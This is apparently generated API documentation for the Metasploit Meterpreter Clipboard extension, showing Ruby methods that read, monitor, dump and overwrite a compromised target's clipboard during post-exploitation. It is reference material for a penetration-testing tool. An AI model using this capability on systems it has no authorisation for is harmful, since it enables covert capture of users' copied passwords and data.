Class: Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard

Inherits:
Object
  • Object
show all
Defined in:
lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb

Overview

This meterpreter extension contains extended API functions for querying and managing desktop windows.

Instance Attribute Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize(client) ⇒ Clipboard

Returns a new instance of Clipboard


18
19
20
# File 'lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb', line 18

def initialize(client)
  @client = client
end

Instance Attribute Details

#clientObject

Returns the value of attribute client


121
122
123
# File 'lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb', line 121

def client
  @client
end

Instance Method Details

#get_data(download = false) ⇒ Object

Get the target clipboard data in whichever format we can (if it's supported).


26
27
28
29
30
31
32
33
34
35
36
# File 'lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb', line 26

def get_data(download = false)
  request = Packet.create_request('extapi_clipboard_get_data')

  if download
    request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD, true)
  end

  response = client.send_request(request)

  return parse_dump(response)
end

#monitor_dump(opts) ⇒ Object

Dump the conents of the clipboard monitor to the local machine.


72
73
74
75
76
77
78
79
80
81
82
83
84
# File 'lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb', line 72

def monitor_dump(opts)
  pull_img = opts[:include_images]
  purge = opts[:purge]
  purge = true if purge.nil?

  request = Packet.create_request('extapi_clipboard_monitor_dump')
  request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img)
  request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_PURGE, purge)

  response = client.send_request(request)

  return parse_dump(response)
end

#monitor_pauseObject

Pause the clipboard monitor if it's running.


64
65
66
67
# File 'lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb', line 64

def monitor_pause
  request = Packet.create_request('extapi_clipboard_monitor_pause')
  return client.send_request(request)
end

#monitor_purgeObject

Purge the contents of the clipboard capture without downloading.


97
98
99
100
# File 'lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb', line 97

def monitor_purge
  request = Packet.create_request('extapi_clipboard_monitor_purge')
  return client.send_request(request)
end

#monitor_resumeObject

Resume the clipboard monitor if it has been paused.


89
90
91
92
# File 'lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb', line 89

def monitor_resume
  request = Packet.create_request('extapi_clipboard_monitor_resume')
  return client.send_request(request)
end

#monitor_start(opts) ⇒ Object

Start the clipboard monitor if it hasn't been started.


54
55
56
57
58
59
# File 'lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb', line 54

def monitor_start(opts)
  request = Packet.create_request('extapi_clipboard_monitor_start')
  request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS, opts[:wincls])
  request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, opts[:cap_img])
  return client.send_request(request)
end

#monitor_stop(opts) ⇒ Object

Stop the clipboard monitor and dump optionally it's contents.


105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
# File 'lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb', line 105

def monitor_stop(opts)
  dump = opts[:dump]
  pull_img = opts[:include_images]

  request = Packet.create_request('extapi_clipboard_monitor_stop')
  request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DUMP, dump)
  request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img)

  response = client.send_request(request)
  unless dump
    return response
  end

  return parse_dump(response)
end

#set_text(text) ⇒ Object

Set the target clipboard data to a text value


41
42
43
44
45
46
47
48
49
# File 'lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb', line 41

def set_text(text)
  request = Packet.create_request('extapi_clipboard_set_data')

  request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, text)

  response = client.send_request(request)

  return true
end